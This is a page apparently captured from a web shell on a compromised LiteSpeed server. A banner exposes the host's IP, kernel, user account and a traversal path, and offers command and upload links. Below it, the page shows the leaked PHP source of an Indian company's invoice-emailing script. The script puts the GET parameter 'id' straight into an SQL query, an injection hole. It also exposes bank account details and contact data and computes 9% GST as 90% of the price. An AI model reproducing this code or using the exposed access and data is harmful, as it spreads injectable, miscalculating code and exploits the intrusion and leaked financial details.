|
Server IP : 103.191.208.227 / Your IP : 3.15.208.206 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/.well-known/../../tmp/../invoice.vflyorion.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'db.php';
$id = $_GET['id'];
$sql = "SELECT * FROM invoice WHERE id=$id";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$invoice = $result->fetch_assoc();
if($invoice['offer']=="Yes"){
$t = 0;
$tax = 0; // Assuming 'amount' is the correct field name
$total = $invoice['price'];
}else{
$t = $invoice['price'] * 0.9;
$tax = $invoice['price'] * 0.18; // Assuming 'amount' is the correct field name
$total = $invoice['price'] + $tax;
}
$to = $invoice['email']; // Assuming there's a 'client_email' field in your 'invoices' table
$subject = "Your Invoice from Vflyorions Technologies Pvt Ltd";
$message = "
<html>
<head>
<meta charset='UTF-8'>
<meta name='viewport' content='width=device-width, initial-scale=1.0'>
<title>Invoice</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background-color: #f8f8f8;
}
.invoice-box {
max-width: 800px;
margin: auto;
padding: 30px;
border: 1px solid #eee;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.15);
background-color: #fff;
}
.invoice-box table {
width: 100%;
line-height: inherit;
text-align: left;
border-collapse: collapse;
}
.invoice-box table td {
padding: 12px;
vertical-align: top;
}
.invoice-box table tr td:nth-child(2) {
text-align: right;
}
.invoice-box table tr.top table td {
padding-bottom: 20px;
}
.invoice-box table tr.information table td {
padding-bottom: 40px;
}
.invoice-box table tr.heading td {
background: #eee;
border-bottom: 1px solid #ddd;
font-weight: bold;
}
.invoice-box table tr.details td {
padding-bottom: 20px;
}
.invoice-box table tr.item td {
border-bottom: 1px solid #eee;
}
.invoice-box table tr.item.last td {
border-bottom: none;
}
.invoice-box table tr.total td:nth-child(2) {
border-top: 2px solid #eee;
font-weight: bold;
}
.title {
font-size: 45px;
line-height: 45px;
color: #333;
}
.information td {
padding: 0 5px 10px 0;
}
.subtotal, .tax, .total {
padding: 10px 5px;
}
.terms {
font-size: 12px;
}
@media only screen and (max-width: 600px) {
.invoice-box table tr.top table td {
width: 100%;
display: block;
}
.invoice-box table tr.information table td {
width: 100%;
display: block;
}
}
@media print {
.print-button {
display: none;
}
}
</style>
</head>
<body>
<div class='invoice-box'>
<div><label><strong>TAX INVOICE</strong></label> <label style='border: 1px solid gray; padding: 4px;color: gray;'>ORIGINAL FOR RECIPIENT</label></div>
<table cellpadding='0' cellspacing='0'>
<tr class='top'>
<td colspan='5'>
<table>
<tr>
<td class='title'>
<img src='https://invoice.vflyorion.com/logo.png' style='width:100%; max-width:150px;'>
</td>
<td>
<div style='text-align:right;'>
<strong>Vflyorions Technologies Pvt Ltd</strong><br>
Near Dharampeth mahila Bank, opposite Bank of Baroda,<br>
Ward Number 3, Parsodi, Trimurtee Nagar,<br>
Nagpur, Maharashtra 440022<br>
Mobile: 9146902678<br>
GSTIN: 27AAGCV6291H1ZW
</div>
</td>
</tr>
</table>
</td>
</tr>
<tr class='information' style='border: 1px solid black;'>
<td colspan='5'>
<table>
<tr>
<td style='text-align: left; padding: 0;'>
<strong>BILL TO:</strong><br>
{$invoice['fullname']}<br>
Mobile: {$invoice['contact']}
</td>
<td style='text-align: right; padding: 0;'>
<strong>Invoice No.: {$invoice['invoice_no']}</strong><br>
Invoice Date: " . date('d-m-Y') . "
</td>
</tr>
</table>
</td>
</tr><br>
<tr class='heading'>
<td style='border-bottom: 1px solid #ddd;'>SERVICES</td>
<td style='text-align: center; border-bottom: 1px solid #ddd;'>QTY.</td>
<td style='text-align: center; border-bottom: 1px solid #ddd;'>RATE</td>
<td style='text-align: center; border-bottom: 1px solid #ddd;'>TAX</td>
<td style='text-align: right; border-bottom: 1px solid #ddd;'>AMOUNT</td>
</tr>
<tr class='item'>
<td>{$invoice['plan']}</td>
<td style='text-align: center;'>1.0</td>
<td style='text-align: center;'>{$invoice['price']}</td>
<td style='text-align: center;'>{$tax} (18.0%)</td>
<td style='text-align: right;'>{$invoice['price']}</td>
</tr>
<tr class='subtotal'>
<td colspan='4' style='text-align: right; padding-right: 20px;'>SUB TOTAL</td>
<td style='text-align: right;'>₹ {$invoice['price']}</td>
</tr>
<tr class='tax'>
<td colspan='4' style='text-align: right; padding-right: 20px;'>CGST @9.0%</td>
<td style='text-align: right;'>₹ {$t}</td>
</tr>
<tr class='tax'>
<td colspan='4' style='text-align: right; padding-right: 20px;'>SGST @9.0%</td>
<td style='text-align: right;'>₹ {$t}</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td><hr></td>
</tr>
<tr class='total'>
<td colspan='4' style='text-align: right; padding-right: 20px;'>GRAND TOTAL</td>
<td style='text-align: right;'>₹ {$total}</td>
</tr>
<tr class='total'>
<td colspan='4' style='text-align: right; padding-right: 20px;'>Received Amount</td>
<td style='text-align: right;'>₹ {$total}</td>
</tr>
<tr class='total'>
<td colspan='4' style='text-align: right; padding-right: 20px;'>Balance</td>
<td style='text-align: right;'>₹ 0</td>
</tr>
<tr class='information'>
<td colspan='5'>
<table>
<tr>
<td style='padding: 0;'>
<strong>Bank Details:</strong><br>
Name: Samuel Titus<br>
IFSC Code: YESB0000028<br>
Account No: 00286300001883<br>
Bank: Yes Bank, NAGPUR, MAHARASHTRA
</td>
</tr>
</table>
</td>
</tr>
<tr class='information'>
<td colspan='5' class='terms'>
Notes:<br>
-<br>
Terms and Conditions:<br>
1. Once work is placed amount will not be refunded.<br>
2. File name should be same as given in the mail.
</td>
</tr>
</table>
</div>
</body>
</html>
";
// Set content-type header for HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// Additional headers
$headers .= 'From: <anup@vflyorions.com>' . "\r\n";
if (mail($to, $subject, $message, $headers)) {
$_SESSION['status']="Send Successfully";
$_SESSION['status_code']="success";
} else {
$_SESSION['status']="Oops something went wrong!!";
$_SESSION['status_code']="error";
}
} else {
echo "Invoice not found.";
}
?>
<html>
<body>
<!-- SweetAlert -->
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<?php if (isset($_SESSION['status']) && $_SESSION['status'] != '') { ?>
<script>
new swal({
title: "<?php echo $_SESSION['status']; ?>",
//text: "You clicked the button!",
icon: "<?php echo $_SESSION['status_code']; ?>",
button: "OK",
}).then(function() {
window.location = "table.php";
});
</script>
<?php
unset($_SESSION['status']);
}
?>
</body>
</html>